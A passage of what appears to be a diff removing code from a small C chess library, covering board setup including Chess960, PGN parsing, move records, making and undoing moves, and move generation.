traditional starting position. WARNING: if startState is - provided, the pointed to board mustn't be deallocated afterwards, the string - is not internally copied (for memory saving reasons). -*/ -void SCL_gameInit(SCL_Game* game, const SCL_Board startState); - -void SCL_gameMakeMove(SCL_Game* game, uint8_t squareFrom, uint8_t squareTo, char promoteTo); - -uint8_t SCL_gameUndoMove(SCL_Game* game); - -/** - Gets a move which if played now would cause a draw by repetition. Returns 1 - if such move exists, 0 otherwise. The results parameters can be set to 0 in - which case they will be ignored and only the existence of a draw move will be - tested. -*/ -uint8_t SCL_gameGetRepetiotionMove(SCL_Game* game, uint8_t* squareFrom, uint8_t* squareTo); - -/** - Leads a game record from PGN string. The function will probably not strictly - adhere to the PGN input format, but should accept most sanely written PGN - strings. -*/ -void SCL_recordFromPGN(SCL_Record r, const char* pgn); - -uint16_t SCL_recordLength(const SCL_Record r); - -/** - Gets the move out of a game record, returns the end state of the move - (SCL_RECORD_CONT, SCL_RECORD_END etc.) -*/ -uint8_t SCL_recordGetMove( - const SCL_Record r, - uint16_t index, - uint8_t* squareFrom, - uint8_t* squareTo, - char* promotedPiece); - -/** - Adds another move to the game record. Terminating the record is handled so - that the last move is always marked with end flag, endState is here to only - indicate possible game result (otherwise pass SCL_RECORD_CONT). Returns 1 if - the item was added, otherwise 0 (replay was already of maximum size). -*/ -uint8_t SCL_recordAdd( - SCL_Record r, - uint8_t squareFrom, - uint8_t squareTo, - char promotePiece, - uint8_t endState); - -/** - Removes the last move from the record, returns 1 if the replay is non-empty - after the removal, otherwise 0. -*/ -uint8_t SCL_recordRemoveLast(SCL_Record r); - -/** - Applies given number of half-moves (ply) to a given board (the board is - automatically initialized at the beginning). -*/ -void SCL_recordApply(const SCL_Record r, SCL_Board b, uint16_t moves); - -int16_t SCL_pieceValue(char piece); -int16_t SCL_pieceValuePositive(char piece); - -#define SCL_PRINT_FORMAT_NONE 0 -#define SCL_PRINT_FORMAT_NORMAL 1 -#define SCL_PRINT_FORMAT_COMPACT 2 -#define SCL_PRINT_FORMAT_UTF8 3 -#define SCL_PRINT_FORMAT_COMPACT_UTF8 4 - -/** - Gets the best move for the currently moving player as computed by AI. The - return value is the value of the move (with the same semantics as the value - of an evaluation function). baseDepth is depth in plys to which all moves will - be checked. If baseDepth 0 is passed, the function makes a random move and - returns the evaluation of the board. extensionExtraDepth is extra depth for - checking specific situations like exchanges and checks. endgameExtraDepth is - extra depth which is added to baseDepth in the endgame. If the randomness - function is 0, AI will always make the first best move it finds, if it is - not 0 and randomness is 0, AI will randomly pick between the equally best - moves, if it is not 0 and randomness is positive, AI will randomly choose - between best moves with some bias (may not pick the best rated move). -*/ -int16_t SCL_getAIMove( - SCL_Board board, - uint8_t baseDepth, - uint8_t extensionExtraDepth, - uint8_t endgameExtraDepth, - SCL_StaticEvaluationFunction evalFunc, - SCL_RandomFunction randFunc, - uint8_t randomness, - uint8_t repetitionMoveFrom, - uint8_t repetitionMoveTo, - uint8_t* resultFrom, - uint8_t* resultTo, - char* resultProm); - -/** - Function that prints out a single character. This is passed to printing - functions. -*/ -typedef void (*SCL_PutCharFunction)(char); - -/** - Prints given chessboard using given format and an abstract printing function. -*/ -void SCL_printBoard( - SCL_Board board, - SCL_PutCharFunction putCharFunc, - SCL_SquareSet highlightSquares, - uint8_t selectSquare, - uint8_t format, - uint8_t offset, - uint8_t labels, - uint8_t blackDown); - -void SCL_printBoardSimple( - SCL_Board board, - SCL_PutCharFunction putCharFunc, - uint8_t selectSquare, - uint8_t format); - -void SCL_printSquareUTF8(uint8_t square, SCL_PutCharFunction putCharFunc); -void SCL_printPGN(SCL_Record r, SCL_PutCharFunction putCharFunc, SCL_Board initialState); - -/** - Reads a move from string (the notation format is described at the top of this - file). The function is safe as long as the string is 0 terminated. Returns 1 - on success or 0 on fail (invalid move string). -*/ -uint8_t SCL_stringToMove( - const char* moveString, - uint8_t* resultFrom, - uint8_t* resultTo, - char* resultPromotion); - -char* SCL_moveToString(SCL_Board board, uint8_t s0, uint8_t s1, char promotion, char* string); - -/** - Function used in drawing, it is called to draw the next pixel. The first - parameter is the pixel color, the second one if the sequential number of the - pixel. -*/ -typedef void (*SCL_PutPixelFunction)(uint8_t, uint16_t); - -#define SCL_BOARD_PICTURE_WIDTH 64 - -/** - Draws a simple 1bit 64x64 pixels board using a provided abstract function for - drawing pixels. The function renders from top left to bottom right, i.e. no - frame buffer is required. -*/ -void SCL_drawBoard( - SCL_Board board, - SCL_PutPixelFunction putPixel, - uint8_t selectedSquare, - SCL_SquareSet highlightSquares, - uint8_t blackDown); - -/** - Converts square number to string representation (e.g. "d2"). This function - will modify exactly the first two bytes of the provided string. -*/ -static inline char* SCL_squareToString(uint8_t square, char* string); - -/** - Converts a string, such as "A1" or "b4", to square number. The string must - start with a letter (lower or upper case) and be followed by a number <1,8>. - Validity of the string is NOT checked. -*/ -uint8_t SCL_stringToSquare(const char* square); - -//============================================================================= -// privates: - -#define SCL_UNUSED(v) (void)(v) - -uint8_t SCL_currentRandom8 = 0; - -uint16_t SCL_currentRandom16 = 0; - -void SCL_randomSimpleSeed(uint8_t seed) { - SCL_currentRandom8 = seed; -} - -uint8_t SCL_randomSimple(void) { - SCL_currentRandom8 *= 13; - SCL_currentRandom8 += 7; - return SCL_currentRandom8; -} - -uint8_t SCL_randomBetter(void) { - SCL_currentRandom16 *= 13; - SCL_currentRandom16 += 7; - return (SCL_currentRandom16 % 256) ^ (SCL_currentRandom16 / 256); -} - -void SCL_randomBetterSeed(uint16_t seed) { - SCL_currentRandom16 = seed; -} - -void SCL_squareSetClear(SCL_SquareSet squareSet) { - for(uint8_t i = 0; i < 8; ++i) squareSet[i] = 0; -} - -uint8_t SCL_stringToSquare(const char* square) { - return (square[1] - '1') * 8 + - (square[0] - ((square[0] >= 'A' && square[0] <= 'Z') ? 'A' : 'a')); -} - -char* SCL_moveToString(SCL_Board board, uint8_t s0, uint8_t s1, char promotion, char* string) { - char* result = string; - - SCL_squareToString(s0, string); - string += 2; - string = SCL_squareToString(s1, string); - string += 2; - - char c = board[s0]; - - if(c == 'p' || c == 'P') { - uint8_t rank = s1 / 8; - - if(rank == 0 || rank == 7) { - *string = promotion; - string++; - } - } - - *string = 0; - - return result; -} - -uint8_t SCL_boardWhitesTurn(SCL_Board board) { - return (board[SCL_BOARD_PLY_BYTE] % 2) == 0; -} - -uint8_t SCL_coordsToSquare(uint8_t row, uint8_t column) { - return row * 8 + column; -} - -uint8_t SCL_pieceIsWhite(char piece) { - return piece < 'a'; -} - -char* SCL_squareToString(uint8_t square, char* string) { - string[0] = 'a' + square % 8; - string[1] = '1' + square / 8; - - return string; -} - -uint8_t SCL_squareIsWhite(uint8_t square) { - return (square % 2) != ((square / 8) % 2); -} - -char SCL_pieceToColor(uint8_t piece, uint8_t toWhite) { - return (SCL_pieceIsWhite(piece) == toWhite) ? piece : (piece + (toWhite ? -32 : 32)); -} - -/** - Records the rook starting positions in the board state. This is required in - chess 960 in order to be able to correctly perform castling (castling rights - knowledge isn't enough as one rook might have moved to the other side and we - wouldn't know which one can castle and which not). -*/ -void _SCL_board960RememberRookPositions(SCL_Board board) { - uint8_t pos = 0; - uint8_t rooks = 2; - - while(pos < 8 && rooks != 0) { - if(board[pos] == 'R') { - board[SCL_BOARD_EXTRA_BYTE] = rooks == 2 ? pos : - (board[SCL_BOARD_EXTRA_BYTE] | (pos << 3)); - - rooks--; - } - - pos++; - } -} - -void SCL_boardInit(SCL_Board board) { - /* - We might use SCL_BOARD_START_STATE and copy it to the board, but that might - waste RAM on Arduino, so we init the board by code. - */ - - char* b = board; - - *b = 'R'; - b++; - *b = 'N'; - b++; - *b = 'B'; - b++; - *b = 'Q'; - b++; - *b = 'K'; - b++; - *b = 'B'; - b++; - *b = 'N'; - b++; - *b = 'R'; - b++; - - char* b2 = board + 48; - - for(uint8_t i = 0; i < 8; ++i, b++, b2++) { - *b = 'P'; - *b2 = 'p'; - } - - for(uint8_t i = 0; i < 32; ++i, b++) *b = '.'; - - b += 8; - - *b = 'r'; - b++; - *b = 'n'; - b++; - *b = 'b'; - b++; - *b = 'q'; - b++; - *b = 'k'; - b++; - *b = 'b'; - b++; - *b = 'n'; - b++; - *b = 'r'; - b++; - - for(uint8_t i = 0; i < SCL_BOARD_STATE_SIZE - SCL_BOARD_SQUARES; ++i, ++b) *b = 0; - - board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] = (char)0xff; - -#if SCL_960_CASTLING - _SCL_board960RememberRookPositions(board); -#endif -} - -void _SCL_boardPlaceOnNthAvailable(SCL_Board board, uint8_t pos, char piece) { - char* c = board; - - while(1) { - if(*c == '.') { - if(pos == 0) break; - - pos--; - } - - c++; - } - - *c = piece; -} - -void SCL_boardInit960(SCL_Board board, uint16_t positionNumber) { - SCL_Board b; - - SCL_boardInit(b); - - for(uint8_t i = 0; i < SCL_BOARD_STATE_SIZE; ++i) - board[i] = ((i >= 8 && i < 56) || i >= 64) ? b[i] : '.'; - - uint8_t helper = positionNumber % 16; - - board[(helper / 4) * 2] = 'B'; - board[1 + (helper % 4) * 2] = 'B'; - - helper = positionNumber / 16; - - // maybe there's a simpler way :) - - _SCL_boardPlaceOnNthAvailable(board, helper % 6, 'Q'); - _SCL_boardPlaceOnNthAvailable(board, 0, helper <= 23 ? 'N' : 'R'); - - _SCL_boardPlaceOnNthAvailable( - board, 0, (helper >= 7 && helper <= 23) ? 'R' : (helper > 41 ? 'K' : 'N')); - - _SCL_boardPlaceOnNthAvailable( - board, - 0, - (helper <= 5 || helper >= 54) ? - 'R' : - (((helper >= 12 && helper <= 23) || (helper >= 30 && helper <= 41)) ? 'K' : 'N')); - - _SCL_boardPlaceOnNthAvailable( - board, - 0, - (helper <= 11 || (helper <= 29 && helper >= 24)) ? - 'K' : - (((helper >= 18 && helper <= 23) || (helper >= 36 && helper <= 41) || - (helper >= 48 && helper <= 53)) ? - 'R' : - 'N')); - - uint8_t rooks = 0; - - for(uint8_t i = 0; i < 8; ++i) - if(board[i] == 'R') rooks++; - - _SCL_boardPlaceOnNthAvailable(board, 0, rooks == 2 ? 'N' : 'R'); - - for(uint8_t i = 0; i < 8; ++i) board[56 + i] = SCL_pieceToColor(board[i], 0); - -#if SCL_960_CASTLING - _SCL_board960RememberRookPositions(board); -#else - SCL_boardDisableCastling(board); -#endif -} - -uint8_t SCL_boardsDiffer(SCL_Board b1, SCL_Board b2) { - const char *p1 = b1, *p2 = b2; - - while(p1 < b1 + SCL_BOARD_STATE_SIZE) { - if(*p1 != *p2) return 1; - - p1++; - p2++; - } - - return 0; -} - -void SCL_recordInit(SCL_Record r) { - r[0] = 0 | SCL_RECORD_END; - r[1] = 0; -} - -void SCL_recordFromPGN(SCL_Record r, const char* pgn) { - SCL_Board board; - - SCL_boardInit(board); - - SCL_recordInit(r); - - uint8_t state = 0; - uint8_t evenMove = 0; - - while(*pgn != 0) { - switch(state) { - case 0: // skipping tags and spaces, outside [] - if(*pgn == '1') - state = 2; - else if(*pgn == '[') - state = 1; - - break; - - case 1: // skipping tags and spaces, inside [] - if(*pgn == ']') state = 0; - - break; - - case 2: // reading move number - if(*pgn == '{') - state = 3; - else if((*pgn >= 'a' && *pgn <= 'h') || (*pgn >= 'A' && *pgn <= 'Z')) { - state = 4; - pgn--; - } - - break; - - case 3: // initial comment - if(*pgn == '}') state = 2; - - break; - - case 4: // reading move - { - char piece = 'p'; - char promoteTo = 'q'; - uint8_t castle = 0; - uint8_t promotion = 0; - - int8_t coords[4]; - - uint8_t ranks = 0, files = 0; - - for(uint8_t i = 0; i < 4; ++i) coords[i] = -1; - - while(*pgn != ' ' && *pgn != '\n' && *pgn != '\t' && *pgn != '{' && *pgn != 0) { - if(*pgn == '=') promotion = 1; - if(*pgn == 'O' || *pgn == '0') castle++; - if(*pgn >= 'A' && *pgn <= 'Z') { - if(promotion) - promoteTo = *pgn; - else - piece = *pgn; - } else if(*pgn >= 'a' && *pgn <= 'h') { - coords[files * 2] = *pgn - 'a'; - files++; - } else if(*pgn >= '1' && *pgn <= '8') { - coords[1 + ranks * 2] = *pgn - '1'; - ranks++; - } - - pgn++; - } - - if(castle) { - piece = 'K'; - - coords[0] = 4; - coords[1] = 0; - coords[2] = castle < 3 ? 6 : 2; - coords[3] = 0; - - if(evenMove) { - coords[1] = 7; - coords[3] = 7; - } - } - - piece = SCL_pieceToColor(piece, evenMove == 0); - - if(coords[2] < 0) { - coords[2] = coords[0]; - coords[0] = -1; - } - - if(coords[3] < 0) { - coords[3] = coords[1]; - coords[1] = -1; - } - - uint8_t squareTo = coords[3] * 8 + coords[2]; - - if(coords[0] < 0 || coords[1] < 0) { - // without complete starting coords we have to find the piece - - for(int i = 0; i < SCL_BOARD_SQUARES; ++i) - if(board[i] == piece) { - SCL_SquareSet s; - - SCL_squareSetClear(s); - - SCL_boardGetMoves(board, i, s); - - if(SCL_squareSetContains(s, squareTo) && - (coords[0] < 0 || coords[0] == i % 8) && - (coords[1] < 0 || coords[1] == i / 8)) { - coords[0] = i % 8; - coords[1] = i / 8; - break; - } - } - } - - uint8_t squareFrom = coords[1] * 8 + coords[0]; - - SCL_boardMakeMove(board, squareFrom, squareTo, promoteTo); - - // for some reason tcc bugs here, the above line sets squareFrom to 0 lol - // can be fixed with doing "squareFrom = coords[1] * 8 + coords[0];" again - - SCL_recordAdd(r, squareFrom, squareTo, promoteTo, SCL_RECORD_CONT); - - while(*pgn == ' ' || *pgn == '\n' || *pgn == '\t' || *pgn == '{') { - if(*pgn == '{') - while(*pgn != '}') pgn++; - - pgn++; - } - - if(*pgn == 0) return; - - pgn--; - - if(evenMove) state = 2; - - evenMove = !evenMove; - - break; - } - - default: - break; - } - - pgn++; - } -} - -uint16_t SCL_recordLength(const SCL_Record r) { - if((r[0] & 0x3f) == (r[1] & 0x3f)) // empty record that's only terminator - return 0; - - uint16_t result = 0; - - while((r[result] & 0xc0) == 0) result += 2; - - return (result / 2) + 1; -} - -uint8_t SCL_recordGetMove( - const SCL_Record r, - uint16_t index, - uint8_t* squareFrom, - uint8_t* squareTo, - char* promotedPiece) { - index *= 2; - - uint8_t b = r[index]; - - *squareFrom = b & 0x3f; - uint8_t result = b & 0xc0; - - index++; - - b = r[index]; - - *squareTo = b & 0x3f; - - b &= 0xc0; - - switch(b) { - case SCL_RECORD_PROM_Q: - *promotedPiece = 'q'; - break; - case SCL_RECORD_PROM_R: - *promotedPiece = 'r'; - break; - case SCL_RECORD_PROM_B: - *promotedPiece = 'b'; - break; - case SCL_RECORD_PROM_N: - default: - *promotedPiece = 'n'; - break; - } - - return result; -} - -uint8_t SCL_recordAdd( - SCL_Record r, - uint8_t squareFrom, - uint8_t squareTo, - char promotePiece, - uint8_t endState) { - uint16_t l = SCL_recordLength(r); - - if(l >= SCL_RECORD_MAX_LENGTH) return 0; - - l *= 2; - - if(l != 0) r[l - 2] &= 0x3f; // remove the end flag from previous item - - if(endState == SCL_RECORD_CONT) endState = SCL_RECORD_END; - - r[l] = squareFrom | endState; - - uint8_t p; - - switch(promotePiece) { - case 'n': - case 'N': - p = SCL_RECORD_PROM_N; - break; - case 'b': - case 'B': - p = SCL_RECORD_PROM_B; - break; - case 'r': - case 'R': - p = SCL_RECORD_PROM_R; - break; - case 'q': - case 'Q': - default: - p = SCL_RECORD_PROM_Q; - break; - } - - l++; - - r[l] = squareTo | p; - - return 1; -} - -uint8_t SCL_recordRemoveLast(SCL_Record r) { - uint16_t l = SCL_recordLength(r); - - if(l == 0) return 0; - - if(l == 1) - SCL_recordInit(r); - else { - l = (l - 2) * 2; - - r[l] = (r[l] & 0x3f) | SCL_RECORD_END; - } - - return 1; -} - -void SCL_recordApply(const SCL_Record r, SCL_Board b, uint16_t moves) { - SCL_boardInit(b); - - uint16_t l = SCL_recordLength(r); - - if(moves > l) moves = l; - - for(uint16_t i = 0; i < moves; ++i) { - uint8_t s0, s1; - char p; - - SCL_recordGetMove(r, i, &s0, &s1, &p); - SCL_boardMakeMove(b, s0, s1, p); - } -} - -void SCL_boardUndoMove(SCL_Board board, SCL_MoveUndo moveUndo) { -#if SCL_960_CASTLING - char squareToNow = board[moveUndo.squareTo]; -#endif - - board[moveUndo.squareFrom] = board[moveUndo.squareTo]; - board[moveUndo.squareTo] = moveUndo.other & 0x7f; - board[SCL_BOARD_PLY_BYTE]--; - board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] = moveUndo.enPassantCastle; - board[SCL_BOARD_MOVE_COUNT_BYTE] = moveUndo.moveCount; - - if(moveUndo.other & 0x80) { - moveUndo.squareTo /= 8; - - if(moveUndo.squareTo == 0 || moveUndo.squareTo == 7) - board[moveUndo.squareFrom] = SCL_pieceIsWhite(board[moveUndo.squareFrom]) ? 'P' : 'p'; - // ^ was promotion - else - board[(moveUndo.squareFrom / 8) * 8 + (moveUndo.enPassantCastle & 0x0f)] = - (board[moveUndo.squareFrom] == 'P') ? 'p' : 'P'; // was en passant - } -#if !SCL_960_CASTLING - else if( - board[moveUndo.squareFrom] == 'k' && // black castling - moveUndo.squareFrom == 60) { - if(moveUndo.squareTo == 58) { - board[59] = '.'; - board[56] = 'r'; - } else if(moveUndo.squareTo == 62) { - board[61] = '.'; - board[63] = 'r'; - } - } else if( - board[moveUndo.squareFrom] == 'K' && // white castling - moveUndo.squareFrom == 4) { - if(moveUndo.squareTo == 2) { - board[3] = '.'; - board[0] = 'R'; - } else if(moveUndo.squareTo == 6) { - board[5] = '.'; - board[7] = 'R'; - } - } -#else // 960 castling - else if( - ((moveUndo.other & 0x7f) == 'r') && // black castling - (squareToNow == '.' || !SCL_pieceIsWhite(squareToNow))) { - board[moveUndo.squareTo < moveUndo.squareFrom ? 59 : 61] = '.'; - board[moveUndo.squareTo < moveUndo.squareFrom ? 58 : 62] = '.'; - - board[moveUndo.squareFrom] = 'k'; - board[moveUndo.squareTo] = 'r'; - } else if( - ((moveUndo.other & 0x7f) == 'R') && // white castling - (squareToNow == '.' || SCL_pieceIsWhite(squareToNow))) { - board[moveUndo.squareTo < moveUndo.squareFrom ? 3 : 5] = '.'; - board[moveUndo.squareTo < moveUndo.squareFrom ? 2 : 6] = '.'; - - board[moveUndo.squareFrom] = 'K'; - board[moveUndo.squareTo] = 'R'; - } -#endif -} - -/** - Potentially disables castling rights according to whether something moved from - or to a square with a rook. -*/ -void _SCL_handleRookActivity(SCL_Board board, uint8_t rookSquare) { -#if !SCL_960_CASTLING - switch(rookSquare) { - case 0: - board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] &= (uint8_t)~0x20; - break; - case 7: - board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] &= (uint8_t)~0x10; - break; - case 56: - board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] &= (uint8_t)~0x80; - break; - case 63: - board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] &= (uint8_t)~0x40; - break; - default: - break; - } -#else // 960 castling - if(rookSquare == (board[SCL_BOARD_EXTRA_BYTE] & 0x07)) - board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] &= (uint8_t)~0x20; - else if(rookSquare == (board[SCL_BOARD_EXTRA_BYTE] >> 3)) - board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] &= (uint8_t)~0x10; - else if(rookSquare == 56 + (board[SCL_BOARD_EXTRA_BYTE] & 0x07)) - board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] &= (uint8_t)~0x80; - else if(rookSquare == 56 + (board[SCL_BOARD_EXTRA_BYTE] >> 3)) - board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] &= (uint8_t)~0x40; -#endif -} - -SCL_MoveUndo - SCL_boardMakeMove(SCL_Board board, uint8_t squareFrom, uint8_t squareTo, char promotePiece) { - char s = board[squareFrom]; - - SCL_MoveUndo moveUndo; - - moveUndo.squareFrom = squareFrom; - moveUndo.squareTo = squareTo; - moveUndo.moveCount = board[SCL_BOARD_MOVE_COUNT_BYTE]; - moveUndo.enPassantCastle = board[SCL_BOARD_ENPASSANT_CASTLE_BYTE]; - moveUndo.other = board[squareTo]; - - // reset the en-passant state - board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] |= 0x0f; - - if(SCL_boardMoveResetsCount(board, squareFrom, squareTo)) - board[SCL_BOARD_MOVE_COUNT_BYTE] = 0; - else - board[SCL_BOARD_MOVE_COUNT_BYTE]++; - -#if SCL_960_CASTLING - uint8_t castled = 0; -#endif - - if((s == 'k') || (s == 'K')) { -#if !SCL_960_CASTLING - if((squareFrom == 4) || (squareFrom == 60)) // check castling - { - int8_t difference = squareTo - squareFrom; - - char rook = SCL_pieceToColor('r', SCL_pieceIsWhite(s)); - - if(difference == 2) // short - { - board[squareTo - 1] = rook; - board[squareTo + 1] = '.'; - } else if(difference == -2) // long - { - board[squareTo - 2] = '.'; - board[squareTo + 1] = rook; - } - } -#else // 960 castling - uint8_t isWhite = SCL_pieceIsWhite(s); - char rook = SCL_pieceToColor('r', isWhite); - - if(board[squareTo] == rook) { - castled = 1; - - board[squareFrom] = '.'; - board[squareTo] = '.'; - - if(squareTo > squareFrom) // short - { - board[isWhite ? 6 : (56 + 6)] = s; - board[isWhite ? 5 : (56 + 5)] = rook; - } else // long - { - board[isWhite ? 2 : (56 + 2)] = s; - board[isWhite ? 3 : (56 + 3)] = rook; - } - } -#endif - - // after king move disable castling - board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] &= ~(0x03 << ((s == 'K') ? 4 : 6)); - } else if((s == 'p') || (s == 'P')) { - uint8_t row = squareTo / 8; - - int8_t rowDiff = squareFrom / 8 - row; - - if(rowDiff == 2 || rowDiff == -2) // record en passant column - { - board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] = - (board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] & 0xf0) | (squareFrom % 8); - } - - if(row == 0 || row == 7) { - // promotion - s = SCL_pieceToColor(promotePiece, SCL_pieceIsWhite(s)); - - moveUndo.other |= 0x80; - } else { - // check en passant move - - int8_t columnDiff = (squareTo % 8) - (squareFrom % 8); - - if((columnDiff != 0) && (board[squareTo] == '.')) { - board[squareFrom + columnDiff] = '.'; - moveUndo.other |= 0x80; - } - } - } else if((s == 'r') || (s == 'R')) - _SCL_handleRookActivity(board, squareFrom); - - char taken = board[squareTo]; - - // taking a rook may also disable castling: - - if(taken == 'R' || taken == 'r') _SCL_handleRookActivity(board, squareTo); - -#if SCL_960_CASTLING - if(!castled) -#endif - { - board[squareTo] = s; - board[squareFrom] = '.'; - } - - board[SCL_BOARD_PLY_BYTE]++; // increase ply count - - return moveUndo; -} - -void SCL_boardSetPosition( - SCL_Board board, - const char* pieces, - uint8_t castlingEnPassant, - uint8_t moveCount, - uint8_t ply) { - for(uint8_t i = 0; i < SCL_BOARD_SQUARES; ++i, pieces++) - if(*pieces != 0) - board[i] = *pieces; - else - break; - - board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] = castlingEnPassant; - board[SCL_BOARD_PLY_BYTE] = ply; - board[SCL_BOARD_MOVE_COUNT_BYTE] = moveCount; - board[SCL_BOARD_STATE_SIZE - 1] = 0; -} - -void SCL_squareSetAdd(SCL_SquareSet squareSet, uint8_t square) { - squareSet[square / 8] |= 0x01 << (square % 8); -} - -uint8_t SCL_squareSetContains(const SCL_SquareSet squareSet, uint8_t square) { - return squareSet[square / 8] & (0x01 << (square % 8)); -} - -uint8_t SCL_squareSetSize(const SCL_SquareSet squareSet) { - uint8_t result = 0; - - for(uint8_t i = 0; i < 8; ++i) { - uint8_t byte = squareSet[i]; - - for(uint8_t j = 0; j < 8; ++j) { - result += byte & 0x01; - byte >>= 1; - } - } - - return result; -} - -uint8_t SCL_squareSetEmpty(const SCL_SquareSet squareSet) { - for(uint8_t i = 0; i < 8; ++i) - if(squareSet[i] != 0) return 0; - - return 1; -} - -uint8_t SCL_squareSetGetRandom(const SCL_SquareSet squareSet, SCL_RandomFunction randFunc) { - uint8_t size = SCL_squareSetSize(squareSet); - - if(size == 0) return 0; - - uint8_t n = (randFunc() % size) + 1; - uint8_t i = 0; - - while(i < SCL_BOARD_SQUARES) { - if(SCL_squareSetContains(squareSet, i)) { - n--; - - if(n == 0) break; - } - - ++i; - } - - return i; -} - -void SCL_boardCopy(const SCL_Board boardFrom, SCL_Board boardTo) { - for(uint8_t i = 0; i < SCL_BOARD_STATE_SIZE; ++i) boardTo[i] = boardFrom[i]; -} - -uint8_t SCL_boardSquareAttacked(SCL_Board board, uint8_t square, uint8_t byWhite) { - const char* currentSquare = board; - - /* We need to place a temporary piece on the tested square in order to test if - the square is attacked (consider testing if attacked by a pawn). */ - - char previous = board[square]; - - board[square] = SCL_pieceToColor('r', !byWhite); - - for(uint8_t i = 0; i < SCL_BOARD_SQUARES; ++i, ++currentSquare) { - char s = *currentSquare; - - if((s == '.') || (SCL_pieceIsWhite(s) != byWhite)) continue; - - SCL_SquareSet moves; - SCL_boardGetPseudoMoves(board, i, 0, moves); - - if(SCL_squareSetContains(moves, square)) { - board[square] = previous; - return 1; - } - } - - board[square] = previous; - return 0; -} - -uint8_t SCL_boardCheck(SCL_Board board, uint8_t white) { - const char* square = board; - char kingChar = white ? 'K' : 'k'; - - for(uint8_t i = 0; i < SCL_BOARD_SQUARES; ++i, ++square) - if((*square == kingChar && SCL_boardSquareAttacked(board, i, !white))) return 1; - - return 0; -} - -uint8_t SCL_boardGameOver(SCL_Board board) { - uint8_t position = SCL_boardGetPosition(board); - - return (position == SCL_POSITION_MATE) || (position == SCL_POSITION_STALEMATE) || - (position == SCL_POSITION_DEAD); -} - -uint8_t SCL_boardMovePossible(SCL_Board board) { - uint8_t white = SCL_boardWhitesTurn(board); - - for(uint8_t i = 0; i < SCL_BOARD_SQUARES; ++i) { - char s = board[i]; - - if((s != '.') && (SCL_pieceIsWhite(s) == white)) { - SCL_SquareSet moves; - - SCL_boardGetMoves(board, i, moves); - - if(SCL_squareSetSize(moves) != 0) return 1; - } - } - - return 0; -} - -uint8_t SCL_boardMate(SCL_Board board) { - return SCL_boardGetPosition(board) == SCL_POSITION_MATE; -} - -void SCL_boardGetPseudoMoves( - SCL_Board board, - uint8_t pieceSquare, - uint8_t checkCastling, - SCL_SquareSet result) { - char piece = board[pieceSquare]; - - SCL_squareSetClear(result); - - uint8_t isWhite = SCL_pieceIsWhite(piece); - int8_t horizontalPosition = pieceSquare % 8; - int8_t pawnOffset = -8; - - switch(piece) { - case 'P': - pawnOffset = 8; - /* FALLTHROUGH */ - case 'p': { - uint8_t square = pieceSquare + pawnOffset; - uint8_t verticalPosition = pieceSquare / 8; - - if(board[square] == '.') // forward move - { - SCL_squareSetAdd(result, square); - - if(verticalPosition == (1 + (piece == 'p') * 5)) // start position? - { - uint8_t square2 = square + pawnOffset; - - if(board[square2] == '.') SCL_squareSetAdd(result, square2); - } - } - -#define checkDiagonal(hor, add) \ - if(horizontalPosition != hor) { \ - uint8_t square2 = square + add; \ - char c = board[square2]; \ - if(c != '.' && SCL_pieceIsWhite(c) != isWhite) SCL_squareSetAdd(result, square2); \ - } - - // diagonal moves - checkDiagonal(0, -1) checkDiagonal(7, 1) - - uint8_t enPassantRow = 4; - uint8_t enemyPawn = 'p'; - - if(piece == 'p') { - enPassantRow = 3; - enemyPawn = 'P'; - } - - // en-passant moves - if(verticalPosition == enPassantRow) { - uint8_t enPassantColumn = board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] & 0x0f; - uint8_t column = pieceSquare % 8; - - for(int8_t offset = -1; offset < 2; offset += 2) - if((enPassantColumn == column + offset) && - (board[pieceSquare + offset] == enemyPawn)) { - SCL_squareSetAdd(result, pieceSquare + pawnOffset + offset); - break; - } - } - -#undef checkDiagonal - } break; - - case 'r': // rook - case 'R': - case 'b': // bishop - case 'B': - case 'q': // queen - case 'Q': { - const int8_t offsets[8] = {-8, 1, 8, -1, -7, 9, -9, 7}; - const int8_t columnDirs[8] = {0, 1, 0, -1, 1, 1, -1, -1}; - - uint8_t from = (piece == 'b' || piece == 'B') * 4; - uint8_t to = 4 + (piece != 'r' && piece != 'R') * 4; - - for(uint8_t i = from; i < to; ++i) { - int8_t offset = offsets[i]; - int8_t columnDir = columnDirs[i]; - int8_t square = pieceSquare; - int8_t col = horizontalPosition; - - while(1) { - square += offset; - col += columnDir; - - if(square < 0 || square > 63 || col < 0 || col > 7) break; - - char squareC = board[square]; - - if(squareC == '.') - SCL_squareSetAdd(result, square); - else { - if(SCL_pieceIsWhite(squareC) != isWhite) SCL_squareSetAdd(result, square); - - break; - } - } - } - } break; - - case 'n': // knight - case 'N': { - const int8_t offsets[4] = {6, 10, 15, 17}; - const int8_t columnsMinus[4] = {2, -2, 1, -1}; - const int8_t columnsPlus[4] = {-2, 2, -1, 1}; - const int8_t *off, *col; - -#define checkOffsets(op, comp, limit, dir) \ - off = offsets; \ - col = columns##dir; \ - for(uint8_t i = 0; i < 4; ++i, ++off, ++col) { \ - int8_t square = pieceSquare op(*off); \ - if(square comp limit) /* out of board? */ \ - break; \ - int8_t horizontalCheck = horizontalPosition + (*col); \ - if(horizontalCheck < 0 || horizontalCheck >= 8) continue; \ - char squareC = board[square]; \ - if((squareC == '.') || (SCL_pieceIsWhite(squareC) != isWhite)) \ - SCL_squareSetAdd(result, square); \ - } - - checkOffsets(-, <, 0, Minus) checkOffsets(+, >=, SCL_BOARD_SQUARES, Plus) - -#undef checkOffsets - } break; - - case 'k': // king - case 'K': { - uint8_t verticalPosition = pieceSquare / 8; - - uint8_t u = verticalPosition != 0, d = verticalPosition != 7, l = horizontalPosition != 0, - r = horizontalPosition != 7; - - uint8_t square2 = pieceSquare - 9; - -#define checkSquare(cond, add) \ - if(cond && ((board[square2] == '.') || (SCL_pieceIsWhite(board[square2])) != isWhite)) \ - 